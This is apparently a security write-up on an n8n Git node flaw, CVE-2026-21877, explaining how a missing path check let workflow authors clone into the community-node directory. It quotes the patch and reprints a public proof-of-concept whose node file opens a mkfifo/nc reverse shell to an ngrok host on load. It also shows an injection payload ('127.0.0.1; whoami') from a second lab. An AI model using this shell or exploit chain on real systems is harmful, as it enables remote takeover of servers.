The patch for CVE-2026-21877 adds eight lines to n8n's Git node and one line to a helper interface. The eight lines are a single if statement: ask whether the path is blocked, throw if it is. The function being asked, isFilePathBlocked, was already in the n8n codebase. The Read Binary File node was importing it. The Write Binary File node was importing it. Read/Write Files From Disk was importing it. The Git node, whose entire purpose is writing to a user-supplied path, was the only file-writing node in nodes-base that did not.
CVE-2026-21877: The Helper That Stops This Bug Was Already in n8n
pattern
cve
proof of concept
The fix is one if-statement
Commit f4b009d, authored by RomanDavydchuk at n8n on 2025-11-26. Twenty-eight added lines and one deletion across four files. Two of those files are an internal Jest test, one is a TypeScript interface declaring isFilePathBlocked as a member of FileSystemHelperFunctions, and one is a single new line in file-system-helper-functions.ts that adds the function to a factory's return object. The substantive change is in the Git node:
const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '') as string;
+const isFilePathBlocked = await this.helpers.isFilePathBlocked(repositoryPath);
+if (isFilePathBlocked) {
+ throw new NodeOperationError(
+ this.getNode(),
+ 'Access to the repository path is not allowed',
+ );
+}
+
const options = this.getNodeParameter('options', itemIndex, {});That is the patch. Before this commit, the Git node passed repositoryPath straight to simpleGit({ baseDir: repositoryPath }) and shelled out to git. After this commit, the Git node asks the helper first.
The advisory describes the bug as "Remote Code Execution via Arbitrary File Write." CVSS 9.9. CWE-94. The version range affected is every release below 1.121.3, which by n8n's tagging covers several years of shipped code. The advisory recommends disabling the Git node and limiting access for untrusted users as a mitigation. It does not explain how a node that takes a repository path becomes RCE. The CVE description does not include the words ~/.n8n/nodes/ or community node. This is the post about that.
The helper was already wrapping every other file-writing node
isFilePathBlocked lives in packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts. It has been in the repository since long before this CVE. Pre-patch, the same file already exported a factory that wrapped isFilePathBlocked around every filesystem operation n8n exposes to nodes:
export const getFileSystemHelperFunctions = (node: INode): FileSystemHelperFunctions => ({
async createReadStream(filePath) {
if (await isFilePathBlocked(filePath.toString())) {
throw new NodeOperationError(node, 'Access to the file is not allowed.', { level: 'warning' });
}
// ...
return createReadStream(filePath);
},
async writeContentToFile(filePath, content, flag) {
if (await isFilePathBlocked(filePath as string)) {
throw new NodeOperationError(node, `The file "${String(filePath)}" is not writable.`, { level: 'warning' });
}
return await fsWriteFile(filePath, content, { encoding: 'binary', flag });
},
});Every node that calls this.helpers.createReadStream(...) or this.helpers.writeContentToFile(...) gets the blocklist enforced for free. The Read Binary File node calls createReadStream. The Write Binary File node calls writeContentToFile. The Read/Write Files From Disk node uses both. They do not need to remember to check, because the helpers do not give them a way to skip the check.
The patch for CVE-2026-21877 does two things. It exposes isFilePathBlocked as a peer of createReadStream on the helpers interface. It adds one explicit call inside the Git node's per-item handler. The helper itself was already there. The behavior the helper enforces was already enforced for every other node that writes to disk. The Git node was the one node that bypassed it.
The path the helper blocks is the path n8n executes
The blocklist isFilePathBlocked consults is computed by getN8nRestrictedPaths, also in the same file:
function getN8nRestrictedPaths() {
const { n8nFolder, staticCacheDir } = Container.get(InstanceSettings);
const restrictedPaths = [n8nFolder, staticCacheDir];
if (process.env[CUSTOM_EXTENSION_ENV]) {
const customExtensionFolders = process.env[CUSTOM_EXTENSION_ENV].split(';');
restrictedPaths.push(...customExtensionFolders);
}
// ... binary storage path, config files, email templates ...
return restrictedPaths;
}n8nFolder resolves to ~/.n8n by default. In the official Docker image, that path is /home/node/.n8n. The directory ~/.n8n/nodes/ is where n8n loads community node packages from. The community-node loader scans the directory, reads each subpackage's package.json, and evaluates the JavaScript file declared under package.json#n8n.nodes. Evaluation is require() on that file. Top-level code in the required module runs at evaluation time, before any of n8n's own logic touches it.
The second public PoC of CVE-2026-21877 is a community-node package built to exercise exactly this. Its package.json:
{
"name": "n8n-nodes-cve21877-rce",
"version": "1.0.0",
"main": "dist/Rce.node.js",
"n8n": {
"nodes": ["dist/Rce.node.js"]
}
}And its dist/Rce.node.js:
const { exec } = require('child_process');
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 16113 >/tmp/f',
(error, stdout, stderr) => { /* ... */ });
class Rce {
description = { displayName: 'CVE-2026-21877 Marker', /* ... */ };
async execute() { return [this.getInputData()]; }
}
module.exports = { Rce };The class Rce and its execute() method are decoration. Nobody runs the workflow. The reverse shell is at module top level. It fires the moment require('dist/Rce.node.js') evaluates, which the n8n community-node loader does the next time it scans ~/.n8n/nodes/.
The chain to remote code execution is three steps.
- An authenticated workflow author creates a workflow that contains one Git node.
- The Git node's parameters:
operation = clone,sourceRepository = https://github.com/<attacker>/n8n-nodes-cve21877-rce.git,repositoryPath = /home/node/.n8n/nodes/n8n-nodes-cve21877-rce. - The workflow executes. Pre-patch, the Git node runs
simpleGit({ baseDir: '/home/node/.n8n/nodes/n8n-nodes-cve21877-rce' }).clone(sourceRepository, '.'). The attacker repo lands in n8n's community-node directory. The loader picks up the new package on its next scan, evaluatesdist/Rce.node.js, the top-levelexec()runs, the reverse shell calls back to the attacker's listener.
The path /home/node/.n8n/nodes/n8n-nodes-cve21877-rce is contained within n8nFolder. getN8nRestrictedPaths() returns n8nFolder as a restricted path. isFilePathBlocked() returns true for any path inside it. The helper that was already in the codebase, that was already wrapping every other node's filesystem call, would have blocked this clone the first time the patched code ran. It did not run.
The Git node thought hard about git's threat model
Read the pre-patch Git node alongside its missing check. Right before the unrestricted simpleGit(...) call, the same handler does this:
const gitConfig: string[] = [];
const deploymentConfig = Container.get(DeploymentConfig);
const isCloud = deploymentConfig.type === 'cloud';
const securityConfig = Container.get(SecurityConfig);
const disableBareRepos = securityConfig.disableBareRepos;
if (isCloud || disableBareRepos) {
gitConfig.push('safe.bareRepository=explicit');
}
const enableHooks = securityConfig.enableGitNodeHooks;
if (!enableHooks) {
gitConfig.push('core.hooksPath=/dev/null');
}
const gitOptions: Partial<SimpleGitOptions> = {
baseDir: repositoryPath,
config: gitConfig,
};
const git: SimpleGit = simpleGit(gitOptions)
.env('GIT_TERMINAL_PROMPT', '0');Three security configurations are applied, each non-default, each gated on an explicit flag:
safe.bareRepository=explicitis set when n8n runs in cloud mode or whendisableBareReposis on. This blocks an attack that uses git's bare-repository semantics to attach attacker-controlled hooks to subsequent operations.core.hooksPath=/dev/nullis set whenenableGitNodeHooksis off, which is the default. This prevents a cloned repository'spost-checkout,post-merge, and other hook scripts from running during n8n's git operations.GIT_TERMINAL_PROMPT=0prevents git from hanging on an interactive credential prompt that no one is going to answer.
These are sophisticated defenses. They demonstrate that the person writing this code thought carefully about git's threat model. They asked: what is git capable of doing that an attacker could weaponize? They answered: hooks, bare-repo trickery, terminal prompts. They closed each one.
They did not ask: where is the attacker writing? baseDir: repositoryPath accepted whatever string the workflow author put in the Repository Path field. The defense against git-as-code-executor was thorough. The defense against git-as-write-primitive-into-our-own-node-loader was absent. The Git node's threat model treated git as the dangerous component. The dangerous component was the operating system underneath, with n8n's own auto-loading directory on it.
This is the auth-required cousin of unauth-write-to-execution-path
CVE-2026-21877 is an instance of unauth-write-to-execution-path, the architectural shape we have already seen this quarter at Breeze Cache, Pix for WooCommerce, and SAP NetWeaver. The substrate is the same: the write directory and the execute directory overlap, and a write endpoint reaches the overlap. The version here raises the access bar from "anonymous HTTP request" to "authenticated workflow author," but the substrate is unchanged.
The access bar is lower than CVSS PR:L makes it sound. n8n self-hosted instances commonly grant workflow-edit permission to every team member, every contractor, every integration partner. n8n Cloud isolates tenants at the instance level, but the per-instance trust model is the same: any user with workflow-edit permission can write a file to any path the Git node will accept, which pre-patch was every path the n8n process could write to.
A note on the other PoC
The two public PoCs of CVE-2026-21877 do not exploit the same bug. The repo at CVEs-Labs/CVE-2026-21877 ships a Docker Compose lab with n8n on one container and a custom Flask "NetView Pro" backend on another. Its exploit script sends a webhook payload of {"address": "127.0.0.1; whoami"}. The n8n workflow forwards the value as a form parameter to the Flask backend, which runs subprocess.check_output("ping -c 2 " + target, shell=True). The shell injection is in the Flask code the lab itself ships. The n8n Git node is never instantiated.
The repo at monkeontheroof/cve-2026-21877-rce is the actual mechanism. It is the community-node package above. One PoC is the bug. One PoC is shell injection in a Flask app the researcher wrote, with the CVE number on the front of the repo. The defender skimming search results sees one of each and may not stop to notice which is which.
PoC: CVEs-Labs/CVE-2026-21877, monkeontheroof/cve-2026-21877-rce
n8n built the gate. n8n installed it on every door but the one whose entire purpose is writing to wherever you ask.